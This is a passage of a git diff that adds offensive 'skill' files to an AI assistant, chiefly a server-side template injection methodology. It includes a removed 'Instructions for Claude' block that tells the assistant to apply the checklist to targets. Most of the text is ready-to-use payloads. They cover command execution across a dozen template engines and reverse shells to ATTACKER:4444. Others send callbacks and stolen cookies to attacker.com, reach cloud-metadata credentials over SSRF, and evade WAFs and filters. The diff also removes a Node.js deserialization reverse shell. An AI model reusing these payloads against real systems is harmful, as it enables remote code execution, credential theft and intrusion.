DNS/HTTP during install/build+phases; lock file changes pointing to public registries for known-internal+packages; version jumps to 999.x or 9999.x; new packages in build logs+not present in prior builds.```bash-# Monitor for suspicious install-time network activity+# Monitor install-time network activity; audit install scriptsstrace -f -e trace=network npm install 2>&1 | grep -i connect--# Audit npm packages for install scripts before allowing themnpx can-i-ignore-scripts--# Check Python packages for setup.py execution-pip download --no-deps --no-binary :all: suspicious-package-tar xzf *.tar.gz && cat */setup.py+pip download --no-deps --no-binary :all: suspicious-package && tar xzf *.tar.gz && cat */setup.py```---diff --git a/Skills/web/offensive-deserialization/SKILL.md b/Skills/web/offensive-deserialization/SKILL.mdindex 8435b07..08c6932 100644--- a/Skills/web/offensive-deserialization/SKILL.md+++ b/Skills/web/offensive-deserialization/SKILL.md@@ -218,9 +218,7 @@ deprecated it, but legacy applications and internal tools still use it.BinaryFormatter formatter = new BinaryFormatter();object obj = formatter.Deserialize(stream);-// SoapFormatter / NetDataContractSerializer -- equally dangerous-SoapFormatter soap = new SoapFormatter();-NetDataContractSerializer ndcs = new NetDataContractSerializer();+// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common// LosFormatter -- used in ViewStateLosFormatter los = new LosFormatter();@@ -354,9 +352,6 @@ Appending `()` creates an IIFE that executes during deserialization.// Trailing () causes immediate execution{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"}-// Reverse shell-{"rce":"_$$ND_FUNC$$_function(){var net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);var c=new net.Socket();c.connect(4444,'attacker.com',function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);})}()"}-// Base64-wrapped to avoid character issues{"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}```@@ -592,22 +587,14 @@ Understanding defensive detection helps you craft payloads that avoid alerts.- Burp Deserialization Scanner (BApp Store)**Critical CVEs:**-- CVE-2015-4852 -- WebLogic T3 deserialization (Commons Collections)-- CVE-2017-7525 -- Jackson enableDefaultTyping RCE-- CVE-2017-9805 -- Struts 2 REST plugin XStream deserialization-- CVE-2018-1000861 -- Jenkins Stapler deserialization-- CVE-2019-2725 -- WebLogic XMLDecoder deserialization-- CVE-2019-6340 -- Drupal REST deserialization-- CVE-2019-18935 -- Telerik UI .NET deserialization-- CVE-2020-9484 -- Tomcat session persistence deserialization-- CVE-2020-36188 -- Jackson-databind SSRF via JNDI-- CVE-2021-21978 -- VMware View Planner deserialization-- CVE-2023-34362 -- MOVEit Transfer deserialization chain-- CVE-2023-46604 -- ActiveMQ ClassPathXmlApplicationContext RCE+CVE-2015-4852 (WebLogic T3), CVE-2017-7525 (Jackson defaultTyping),+CVE-2017-9805 (Struts 2 XStream), CVE-2018-1000861 (Jenkins Stapler),+CVE-2019-2725 (WebLogic XMLDecoder), CVE-2019-6340 (Drupal REST),+CVE-2019-18935 (Telerik UI .NET), CVE-2020-9484 (Tomcat session persistence),+CVE-2020-36188 (Jackson SSRF via JNDI), CVE-2021-21978 (VMware View Planner),+CVE-2023-34362 (MOVEit Transfer), CVE-2023-46604 (ActiveMQ RCE)**Research:**-- "Marshalling Pickles" -- Frohoff and Lawrence (AppSecCali 2015)-- "Friday the 13th: JSON Attacks" -- Munoz and Mirosh (BlackHat 2017)-- "Are You My Type?" -- Munoz and Mirosh (exploiting .NET serializers)-- OWASP Deserialization Cheat Sheet-- PortSwigger Web Security Academy: Insecure Deserialization+"Marshalling Pickles" (Frohoff/Lawrence, AppSecCali 2015), "Friday the 13th: JSON+Attacks" (Munoz/Mirosh, BlackHat 2017), "Are You My Type?" (Munoz/Mirosh, .NET+serializers), OWASP Deserialization Cheat Sheet, PortSwigger Insecure Deserialization.diff --git a/Skills/web/offensive-ssti/SKILL.md b/Skills/web/offensive-ssti/SKILL.mdindex 73c8914..0733743 100644--- a/Skills/web/offensive-ssti/SKILL.md+++ b/Skills/web/offensive-ssti/SKILL.md@@ -1,347 +1,758 @@-# SKILL: Server-Side Template Injection (SSTI)+---+name: offensive-ssti+description: "Server-Side Template Injection methodology covering detection through exploitation across all major template engines. Includes polyglot detection strings and engine fingerprinting decision trees, engine-specific exploitation for Jinja2 (MRO sandbox escape), Twig (_self.env gadgets), Freemarker (Execute class), Velocity (Runtime.exec), Pebble (java.lang.Runtime), Smarty (literal tag abuse), Mako (module.os), Handlebars (prototype pollution to RCE), ERB (system/exec), and Thymeleaf (SpEL expression injection). Covers blind SSTI via time-based delays, OOB DNS exfiltration, and error inference. Addresses filter bypass through encoding, string concatenation, attribute access alternatives, and WAF evasion. Maps exploitation in modern frameworks including Flask, Django, Spring Boot, Express, and Rails. Details chaining paths from SSTI to SSRF, file read, and full RCE, plus automated exploitation with tplmap and SSTImap."+---++# Server-Side Template Injection (SSTI)++Server-side template injection occurs when user input is concatenated into a template+string and processed by the template engine as code rather than data. The engine+evaluates the injected expression, giving you access to the server-side runtime. In+most engines this leads directly to remote code execution because template languages+expose access to the underlying language's object model. You find SSTI wherever+developers pass user input to functions like `render_template_string()`,+`Template.compile()`, or `new Template()` instead of passing it as a template variable.++## Quick Workflow++1. Identify all reflection points: URL parameters, POST bodies, headers, JSON values, path segments.+2. Inject polyglot detection strings and observe responses for evaluation, errors, or blank output.+3. Fingerprint the template engine using engine-specific syntax and error signatures.+4. Confirm server-side execution (not client-side rendering or XSS).+5. Select engine-specific payloads for information disclosure, file read, or RCE.+6. Bypass filters and WAF rules using encoding, concatenation, or alternative attribute access.+7. For blind contexts, use time-based, OOB DNS, or error-based inference techniques.+8. Chain SSTI to SSRF, file read, or full RCE depending on the engine and sandbox.++---++## Detection and Engine Fingerprinting++### Polyglot Detection Strings++Inject these strings into every reflection point. Each one triggers evaluation in+different engine families, so a single response that shows mathematical evaluation,+an error traceback, or blank output where the string should appear indicates SSTI.++```text+# Universal polyglots - inject these first+${{<%[%'"}}%\+{{7*7}}+${7*7}+<%= 7*7 %>+{{7*'7'}}+#{7*7}+*{7*7}+@(7+7)++# Engine-narrowing probes+{{config}} # Jinja2/Flask - dumps app config+{{self}} # Jinja2 - returns TemplateReference+${T(java.lang.Math).PI} # Thymeleaf/SpEL - returns 3.14159...+${class.getSimpleName()} # Velocity - returns class name+{$smarty.version} # Smarty - returns version string+{{_self.env}} # Twig - returns Environment object+<#assign x=1>${x} # Freemarker - returns 1+${self.module.__name__} # Mako - returns module name+```++### Engine Fingerprinting Decision Tree++Use a systematic approach to identify the engine. Start with `{{7*7}}` and branch+based on the response:++```text+Inject {{7*7}}+ |+ +-- Returns "49" --> Jinja2, Twig, Nunjucks, or Handlebars+ | |+ | +-- Inject {{7*'7'}}+ | +-- Returns "7777777" --> Jinja2 or Nunjucks+ | | +-- Inject {{config}} --> returns config? --> Jinja2 (Flask)+ | | +-- Inject {{range(10)}} --> works? --> Nunjucks+ | +-- Returns "49" --> Twig+ | +-- Error --> Handlebars (limited expression support)+ |+ +-- No output or error --> Try ${7*7}+ | +-- Returns "49" --> Freemarker, Velocity, Mako, or Thymeleaf+ | | +-- Inject ${class} --> returns object? --> Velocity+ | | +-- Inject ${T(java.lang.Math).PI} --> returns pi? --> Thymeleaf (SpEL)+ | | +-- Inject <#assign x=1>${x} --> returns 1? --> Freemarker+ | | +-- Error contains "mako" --> Mako+ | +-- No output --> Try <%= 7*7 %>+ | +-- Returns "49" --> ERB (Ruby) or EJS (Node)+ | +-- Error with "erb" or "Erubi" --> ERB+ | +-- Error with "ejs" --> EJS+ |+ +-- Reflected literally --> Try @(7+7)+ +-- Returns "14" --> Razor (.NET)+ +-- No evaluation --> Likely not vulnerable (or requires different syntax)+```++### Error-Based Identification++Deliberately trigger errors to extract engine and version information from stack traces:++```text+# Trigger division by zero or type errors+{{7/0}} # Jinja2: ZeroDivisionError traceback+${7/0} # Freemarker: ArithmeticException+<%= 7/0 %> # ERB: ZeroDivisionError+{{foobar}} # Twig: Variable "foobar" does not exist+${foobar} # Velocity: prints literally (no error, useful signal)+{{__xxxxxxx__}} # Jinja2: UndefinedError with engine name in traceback+```-## Metadata-- **Skill Name**: ssti-- **Folder**: offensive-ssti-- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/ssti.md+### Blind SSTI Detection-## Description-Server-Side Template Injection testing checklist: template engine identification (Jinja2, Twig, Freemarker, Pebble, Velocity), polyglot detection payloads, engine-specific RCE payloads, blind SSTI, and filter bypass. Use when testing web apps for template injection vulnerabilities.+When output is not reflected (email templates, PDF generation, background jobs), use+out-of-band and time-based techniques.-## Trigger Phrases-Use this skill when the conversation involves any of:-`SSTI, server-side template injection, Jinja2, Twig, Freemarker, Pebble, Velocity, template injection, template RCE, polyglot payload, template engine, blind SSTI`+```text+# Time-based (Jinja2) - cause a measurable delay+{{range(99999999)|join}}-## Instructions for Claude+# Time-based (Freemarker) - Thread.sleep+${T(java.lang.Thread).sleep(5000)}-When this skill is active:-1. Load and apply the full methodology below as your operational checklist-2. Follow steps in order unless the user specifies otherwise-3. For each technique, consider applicability to the current target/context-4. Track which checklist items have been completed-5. Suggest next steps based on findings+# OOB DNS exfiltration (Jinja2)+{{''.__class__.__mro__[1].__subclasses__()[XXX]('nslookup burpcollaborator.net',shell=True,stdout=-1).communicate()}}++# OOB HTTP (Twig with curl)+{{'/usr/bin/curl http://attacker.com/'|filter('system')}}++# Error inference - inject invalid syntax and check for behavioral differences+# If {{7*7}} and {{7*'INVALID are handled differently (error page vs. normal page),+# the engine is processing the input even without visible output+```----## Full Methodology+## Engine-Specific Exploitation-# Server-Side Template Injection (SSTI)+### Jinja2 (Python) - MRO Sandbox Escape++Jinja2's sandboxed mode restricts attribute access, but you bypass it by walking the+Method Resolution Order (MRO) to reach `object.__subclasses__()` and from there to+dangerous classes like `subprocess.Popen` or `os._wrap_close`.++```python+# Step 1: Reach the object base class via MRO+{{ ''.__class__.__mro__[1] }}+# Returns: <class 'object'>++# Step 2: List all subclasses+{{ ''.__class__.__mro__[1].__subclasses__() }}++# Step 3: Find subprocess.Popen (index varies by Python version)+# Enumerate at runtime - never hardcode the index+{% for cls in ''.__class__.__mro__[1].__subclasses__() %}+ {% if 'Popen' in cls.__name__ %}+ {{ loop.index0 }}: {{ cls }}+ {% endif %}+{% endfor %}++# Step 4: RCE via subprocess.Popen+{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0] }}++# Alternative: reach os module through __globals__+{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}++# Alternative: through cycler (works in strict sandboxes)+{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}++# Alternative: through config object (Flask)+{{ config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read() }}++# File read without RCE+{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}+```++### Twig (PHP) - _self.env and Filter Abuse++Twig 1.x exposed `_self.env` which gave access to the Environment object and its+methods. Twig 2.x+ removed direct access, but filter-based exploitation remains+viable when unsafe extensions are loaded.++```php+# Twig 1.x - _self.env access (deprecated but still found in legacy apps)+{{_self.env.registerUndefinedFilterCallback("exec")}}+{{_self.env.getFilter("id")}}++# Twig 2.x/3.x - filter-based execution (requires 'system' or similar in allowed filters)+{{'id'|filter('system')}}+{{'cat /etc/passwd'|filter('exec')}}++# Twig - information disclosure+{{app.request.server.all|join(',')}}+{{app.request.cookies.all|join(',')}}+{{'/'|file_excerpt(1,30)}}++# Twig - reading files via the source function (if available)+{{'/etc/passwd'|file_excerpt(1,100)}}++# Twig 3.x - map filter for RCE+{{'id'|filter('passthru')}}+{{['id']|map('system')|join}}+{{['cat /etc/passwd']|map('passthru')}}++# Twig - using sort filter with a callback+{{['id',0]|sort('system')|join}}+```++### Freemarker (Java) - Execute Class++Freemarker provides the `freemarker.template.utility.Execute` class which directly+executes system commands when instantiated via the `?new()` built-in.++```java+// Direct RCE via Execute class+<#assign cmd = "freemarker.template.utility.Execute"?new()>+${cmd("id")}+${cmd("cat /etc/passwd")}++// Alternative one-liner+${"freemarker.template.utility.Execute"?new()("id")}++// ObjectConstructor for arbitrary class instantiation+<#assign classloader=object?new("java.lang.ProcessBuilder", ["id"])>+${classloader.start()}++// File read via TemplateModel+${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}++// Environment variable disclosure+${.data_model}+${.globals}+```++### Velocity (Java) - Runtime.exec++Velocity templates access Java objects directly. Use the `$class` variable or+reflection to reach `java.lang.Runtime`.++```java+// Classic RCE via Runtime.exec+#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())+#set($process = $runtime.exec("id"))+#set($reader = $class.inspect("java.io.BufferedReader").type)+#set($isr = $class.inspect("java.io.InputStreamReader").type)+#set($input = $reader.getDeclaredConstructor($isr).newInstance($process.getInputStream()))+#foreach($i in [1..100])+ #set($line = $input.readLine())+ #if($line) $line #end+#end++// Shorter alternative+#set($x=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))+$x.waitFor()+#set($s=$class.inspect("java.util.Scanner").type)+#set($sc=$s.getDeclaredConstructor($x.getInputStream().getClass()).newInstance($x.getInputStream()))+$sc.useDelimiter("\\A").next()+```++### Pebble (Java) - java.lang.Runtime++Pebble is a Java template engine inspired by Twig. It exposes Java objects through+template expressions.++```java+// RCE via beans and Runtime+{% set cmd = 'id' %}+{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}+{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}++// Alternative via ProcessBuilder+{% set pb = (1).TYPE.forName('java.lang.ProcessBuilder') %}+{% set process = pb.getDeclaredConstructors()[0].newInstance([['id']]) %}+{{ process.start().inputStream.readAllBytes() }}+```++### Smarty (PHP) - literal Tag and Static Methods++Smarty allows PHP code execution through several vectors depending on version and+configuration.++```php+// Smarty 3.x - {php} tags (if enabled, disabled by default in 3.1+)+{php}echo shell_exec('id');{/php}++// Smarty - static method calls+{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}++// Smarty - {literal} tag abuse for JavaScript injection leading to SSJI+{literal}<script>document.location='http://attacker.com/?c='+document.cookie</script>{/literal}++// Smarty - math function abuse+{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}++// Smarty - information disclosure+{$smarty.version}+{$smarty.template}+{$smarty.config}+```++### Mako (Python) - Module-Level Imports++Mako templates have direct access to Python's module system through the `self.module`+namespace, making RCE straightforward.++```python+# Direct os module access+${self.module.cache.util.os.popen('id').read()}++# Alternative via __import__+<% import os %>${os.popen('id').read()}++# Using the module namespace+${self.module.os.popen('id').read()}++# File read+<% f = open('/etc/passwd').read() %>${f}++# Reverse shell+<% import socket,subprocess,os; s=socket.socket(); s.connect(("ATTACKER",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"]) %>+```++### ERB (Ruby) - system and exec++ERB (Embedded Ruby) templates execute Ruby code directly within `<%= %>` tags.++```ruby+# Command execution+<%= system("id") %>+<%= `id` %>+<%= exec("id") %>+<%= IO.popen("id").read() %>++# File read+<%= File.open('/etc/passwd').read() %>+<%= Dir.entries('/') %>++# Reverse shell+<%= require 'socket'; TCPSocket.open('ATTACKER',4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>++# Environment variables+<%= ENV.to_a.map{|k,v| "#{k}=#{v}"}.join("\n") %>+```++### Thymeleaf (Java/Spring) - SpEL Expression Injection++Thymeleaf in Spring Boot applications evaluates Spring Expression Language (SpEL).+When user input reaches a Thymeleaf template path or expression, you get code execution+through SpEL.++```java+// SpEL RCE via T() operator (type reference)+${T(java.lang.Runtime).getRuntime().exec('id')}++// SpEL with output capture+${T(org.apache.commons.io.IOUtils).toString(+ T(java.lang.Runtime).getRuntime().exec('id').getInputStream()+)}-Template engines are software used to generate dynamic web pages. When user input is unsafely embedded into templates, server-side template injection (SSTI) can occur, potentially leading to Remote Code Execution (RCE).+// URL-based injection in Spring Boot (path variable interpreted as template)+// GET /path;/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x-## Shortcut+// Thymeleaf preprocessor expressions+__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x-- Look for all locations where user input is reflected or used in the response (URL parameters, POST data, HTTP headers, JSON data, etc.).-- Inject template syntax characters/polyglots like `${{<%[%'"}}%\`, `{{7*'7'}}`, `{{7*7}}` into inputs. Check for errors, mathematical evaluation (e.g., `49` instead of `7*7`), or missing/changed reflections.-- Verify server-side evaluation (e.g., math works) vs. client-side XSS.-- Use engine-specific syntax (e.g., `${7/0}`, `{{7/0}}`, `<%= 7/0 %>`), known variable names (`{{config}}`, `{$smarty}`), or error messages to identify the template engine (use a decision tree like PortSwigger's or HackTricks').-- Look up payloads specific to the identified engine and backend language.-- Use engine-specific payloads (see Methodologies) to read files, execute commands, access internal data, or escape sandboxes.-- Create a non-destructive proof of concept (e.g., `touch ssti_poc_by_YOUR_NAME.txt` via RCE).+// File read via SpEL+${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}-## Mechanisms+// Environment disclosure+${@environment.getProperty('spring.datasource.password')}+```-Server-Side Template Injection (SSTI) occurs when attacker-controlled input is embedded unsafely into a server-side template. Instead of treating the input as data, the template engine executes it as part of the template's code. This allows injecting template directives to execute arbitrary code, access server data, or perform actions as the application.+### Handlebars (Node.js) - Prototype Pollution to RCE++Handlebars is logic-less by design, but prototype pollution or unsafe helpers create+RCE paths.++```javascript+// Prototype pollution to RCE (requires a prototype pollution gadget)+{{#with "s" as |string|}}+ {{#with "e"}}+ {{#with split as |conslist|}}+ {{this.pop}}+ {{this.push (lookup string.sub "constructor")}}+ {{this.pop}}+ {{#with string.split as |codelist|}}+ {{this.pop}}+ {{this.push "return require('child_process').execSync('id')"}}+ {{this.pop}}+ {{#each conslist}}+ {{#with (string.sub.apply 0 codelist)}}+ {{this}}+ {{/with}}+ {{/each}}+ {{/with}}+ {{/with}}+ {{/with}}+{{/with}}++// Via unsafe custom helpers (if registered)+{{execute "id"}}++// Information disclosure+{{this}}+{{@root}}+```-**Root Cause:** Concatenating or directly rendering user input within a template string without proper sanitization or using insecure template functions.+----- Misusing “helper” APIs that compile raw strings at runtime, such as `render_template_string`, `Template::render_inline`, or `Template.compile`, which appear safe but execute attacker‑supplied data.+## Filter Bypass and WAF Evasion-### Vulnerable Example 1 (Simple Jinja2)+### Character Restriction Bypass (Jinja2)-The following program takes user input and concatenates it directly into a template string:+When characters like `.`, `_`, `[`, or `'` are filtered, use alternative access methods.```python-# Assume user_input comes from an HTTP request parameter-from jinja2 import Template-tmpl = Template("<html><h1>The user's name is: " + user_input + "</h1></html>")-print(tmpl.render())+# Dot (.) blocked - use attr() filter or bracket notation+{{ request|attr('application') }}+{{ request['application'] }}++# Underscore (_) blocked - use hex encoding+{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}+# Or pass via request parameter: ?a=__class__+{{ ''|attr(request.args.a) }}++# Quotes blocked - use request parameters to inject strings+# URL: ?cmd=id&module=os+{{ self.__init__.__globals__.__builtins__.__import__(request.args.module).popen(request.args.cmd).read() }}++# Brackets blocked - use attr() chains+{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')() }}++# Multiple restrictions - combine techniques+# Pass components via URL parameters and assemble at runtime+# URL: ?c=__class__&m=__mro__&s=__subclasses__+{{ ()|attr(request.args.c)|attr(request.args.m)|last|attr(request.args.s)() }}```-If `user_input` is `{{1+1}}`, the engine executes the expression:+### String Concatenation Evasion++```python+# Jinja2 - concatenate blocked keywords+{{ ''['__cla'+'ss__'] }}+{{ ''|attr('__cla'~'ss__') }} # Tilde is Jinja2 concat operator+{{ ''|attr(['__cla','ss__']|join) }}++# Jinja2 - build strings from chr() via request+{% set chr = ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr %}+{{ ''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)] }}-```html-<html>- <h1>The user's name is: 2</h1>-</html>+# Twig - concatenate+{{ ('sys'~'tem')('id') }}```-### Vulnerable Example 2 (Flask/Jinja2)+### Encoding-Based Bypass```python-from flask import Flask, request, render_template_string+# Hex encoding for attribute names (Jinja2)+{{ request['\x5f\x5fclass\x5f\x5f'] }}+{{ request|attr('\x5f\x5fclass\x5f\x5f') }}++# Unicode encoding+{{ request|attr('__class__') }}++# Octal encoding+{{ request|attr('\137\137class\137\137') }}++# Base64 in Mako+<% import base64; exec(base64.b64decode('aW1wb3J0IG9zOyBwcmludChvcy5wb3BlbignaWQnKS5yZWFkKCkp')) %>++# URL encoding for WAF bypass (double-encode if WAF decodes once)+%7B%7B7*7%7D%7D+%257B%257B7*7%257D%257D # double-encoded+```++### WAF-Specific Bypass Techniques++```text+# Technique: Break tokens across parameters+# Some WAFs scan individual parameters but not their combination+?a={{&b=7*7&c=}}-app = Flask(__name__)+# Technique: Use HTTP parameter pollution+?name={{7*7}}&name=safe_value # Some backends take the first, WAF checks the last[email protected]('/')-def home():- # Vulnerable: Directly renders user input from 'user' query parameter- if request.args.get('user'):- return render_template_string('Welcome ' + request.args.get('user'))- else:- return render_template_string('Hello World!')+# Technique: Content-Type confusion+# Submit as application/json or multipart/form-data if the WAF only inspects+# application/x-www-form-urlencoded-# Attacker URL: http://<server>/?user={{7*7}}-# Response: Welcome 49+# Technique: Case variation (engine-dependent)+# Some engines are case-insensitive for built-in names+{{Config}} # May work if WAF blocks lowercase {{config}}++# Technique: Whitespace and comment injection+{{ 7 * 7 }} # Extra spaces+{%- if 1 -%}49{%- endif -%} # Jinja2 whitespace control+{{7 *- 7}} # Unusual operator spacing```-### Secure Example (Flask/Jinja2)+---++## Modern Framework Exploitation++### Flask / Jinja2 (Python)```python-from flask import Flask, request, render_template_string--app = Flask(__name__)-[email protected]('/')-def home():- # Secure: Passes user input as a variable to the template- if request.args.get('user'):- # The template engine treats 'username' as data, not code- return render_template_string('Welcome {{ username }}', username=request.args.get('user'))- else:- # ...+# Flask debug mode - check for Werkzeug debugger console+# GET /__debugger__?__debugger__=yes&cmd=__import__('os').popen('id').read()&frm=0&s=SECRET++# Flask config secrets+{{ config.SECRET_KEY }}+{{ config['SQLALCHEMY_DATABASE_URI'] }}++# Django templates (limited by design - no arbitrary code execution)+# But information disclosure is possible+{{ settings.SECRET_KEY }} # If debug=True+{% debug %} # Dumps context variables+{{ request.META }} # Server environment```-## Hunt+### Spring Boot / Thymeleaf (Java)-### Preparation+```java+// Path-based SSTI in Spring Boot (CVE-2020-27386 pattern)+// Controller returns user input as view name+// GET /path/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x-- Identify all user-controlled input points: URL parameters, POST data, HTTP headers (Referer, User-Agent, custom headers), JSON keys/values, etc.-- Use tools like `waybackurls` and `qsreplace` to generate fuzzing lists for parameters:- ```bash- waybackurls http://target.com | qsreplace "ssti{{9*9}}" > fuzz.txt- ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"- # Check Burp Repeater/Logger++ for responses containing the evaluated result (e.g., 81)- ```+// SpEL injection via @Value or th:text+// If user input reaches a SpEL expression context:+${T(java.lang.Runtime).getRuntime().exec(+ new String[]{'bash','-c','curl http://attacker.com/$(whoami)'}+)}-### Detection+// Accessing Spring beans+${@beanName.methodName()}+${@environment.getProperty('spring.datasource.url')}-- Initial Fuzzing: Inject basic polyglots: `${{<%[%'"}}%\`, `{{7*'7'}}`, `{{7*7}}`, `${7*7}`, **quote‑less payloads** such as `{{[].__class__.__mro__[1]}}`.-- Observe Behavior:- - Errors: Stack traces or specific error messages can reveal the template engine (e.g., Jinja2, Smarty, FreeMarker).- - Evaluation: Input like `{{7*7}}` becomes `49`.- - Blank Output: The payload might be processed and removed if invalid or if it performs an action without output.- - No Change: Input reflected exactly as provided; likely not vulnerable (or requires different syntax).-- Differentiate from XSS: Ensure the evaluation happens server-side, not client-side. `${7*7}` evaluating to `49` strongly suggests SSTI.+// Bypassing SpEL restrictions+${T(Character).toString(105).concat(T(Character).toString(100))} # builds "id"+```-### Identification+### Express / EJS / Pug (Node.js)-#### Engine-Specific Payloads+```javascript+// EJS - when user input reaches template compilation+<%= global.process.mainModule.require('child_process').execSync('id').toString() %>-Use a systematic approach based on the initial observations or a decision tree ([PortSwigger, updated July 2024](https://portswigger.net/research/server-side-template-injection), [Medium](https://miro.medium.com/v2/resize:fit:1100/format:webp/1%2A35XwCGeYeKYmeaU8rdkSdg.jpeg)).+// EJS - via constructor chain+<%= this.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>-#### Additional Common Engines (2024‑2025)+// Pug/Jade - code injection+- var x = global.process.mainModule.require('child_process').execSync('id').toString()+p= x++// Nunjucks - reaching require through global+{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}+```-| Engine | Fingerprint | Simple RCE / Info payload |-| -------------------------------- | --------------------------------------------------- | ----------------------------------------------------------------- |-| **Mako** (Python/Pyramid) | Error message containing `mako.exceptions` | `${self.module.os.popen('id').read()}` |-| **Blade** (Laravel 11) | `Undefined variable` or `@dd($loop)` dumps | `{!!\\Illuminate\\Support\\Facades\\Artisan::call('about')!!}` |-| **Groovy / GSP** | Stack trace with `groovy.text.SimpleTemplateEngine` | `<% Class.forName('java.lang.Runtime').runtime.exec('id') %>` |-| **Tera / Askama (Rust)** | Files ending `.tera` / `.askama.rs` | No generic RCE yet; watch for logic injection |-| **EJS / Pug (Node)** | `.ejs`, `.pug` templates | Often needs gadget via helpers/filters; prototype chains |-| **Twig (PHP)** | Error mentions `Twig\\` | `{% for k,v in _self %}` info, RCE via unsafe extensions |-| **Liquid** (Shopify/Ruby) | `{{product.title}}`, errors mention `Liquid::` | Limited by default; see Liquid-specific payloads below |-| **Nunjucks** (Node/Mozilla) | Mozilla's Jinja2 port, `.njk` templates | Prototype chain to `Function` or `require` |-| **Handlebars** (Node) | `{{this}}`, `{{@root}}` work | Limited RCE; requires unsafe helpers or prototype pollution |-| **Thymeleaf 3.1+** (Java/Spring) | `th:text="${...}"`, Spring Boot stack traces | `${T(java.lang.Runtime).getRuntime().exec('id')}` if SpEL enabled |+### Rails / ERB (Ruby)-#### Variable Probing+```ruby+# Standard ERB injection+<%= `id` %>+<%= system('id') %>-Try injecting known variables for common frameworks: `{{config}}`, `{{settings}}`, `{{app.request.server.all|join(',')}}`, `{$smarty.version}`.+# Via Object#send for filter bypass+<%= ''.class.class.methods.grep(/new/).first %>+<%= Kernel.send(:system, 'id') %>-## Bypass Techniques+# Accessing Rails secrets+<%= Rails.application.credentials.secret_key_base %>+<%= Rails.application.secrets %>+```-### Character Blacklist Bypass+----- Use alternative syntax: `getattr(object, 'attribute')` instead of `object.attribute`. Use `{{request|attr('application')}}` instead of `{{request.application}}`.-- Use array/dictionary access: `request['application']` instead of `request.application`.-- Hex/Octal Encoding (if interpreted server-side): `request['\x5f\x5fglobals\x5f\x5f']` instead of `request['__globals__']`.- ```python- # Example: Bypass '.' and '_' using brackets and hex- {{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}- # Example: Using attr() and hex (Source: HackTricks)- {%raw %}{% with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()%}{{a}}{% endwith %}{% endraw %}- ```-- URL Parameter manipulation (Source: HackTricks):- - Pass attribute name: `?c=__class__` -> `{{ request|attr(request.args.c) }}`- - Construct attribute name: `?f=%s%sclass%s%s&a=_` -> `{{ request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)) }}`- - List join: `?l=a&a=_&a=_&a=class&a=_&a=_` -> `{{ request|attr(request.args.getlist(request.args.l)|join) }}`+## Chaining SSTI to Higher Impact-> **Note:** The index for `subprocess.Popen` differs between CPython 3.11 and 3.12; enumerate `__subclasses__()` at runtime instead of hard‑coding.+### SSTI to SSRF-### Keyword Filtering Bypass+Use template engine capabilities to make server-side HTTP requests, reaching internal+services and cloud metadata endpoints.-- Concatenation: `'os'.__class__` -> `'o'+'s'`-- Using `request` object attributes or environment variables if keywords like `import` or `os` are blocked.-- Jinja2 Context Variables: Access `os` via `{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}` or similar paths ([Source: Podalirius](https://podalirius.net/fr/articles/python-vulnerabilities-code-execution-in-jinja-templates/)).+```python+# Jinja2 - SSRF via urllib (if available in subclasses)+{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read() }}-### NET Reflection+# Twig - SSRF via file_get_contents+{{ '/proc/net/tcp'|file_excerpt(1,100) }}-Use reflection to load assemblies or invoke methods indirectly.-On modern ASP.NET Core, Razor limits direct process start; look for misused `Html.Raw`, custom tag helpers, or debug compilation flags.+# Freemarker - SSRF via URL include+<#include "http://169.254.169.254/latest/meta-data/">-### String-less Exploitation+# Thymeleaf/SpEL - SSRF via URL class+${T(java.net.URI).create('http://169.254.169.254/latest/meta-data/').toURL().openStream()}+```-Modern WAFs often filter quotes and common keyword tokens. 2025 research showed how to build 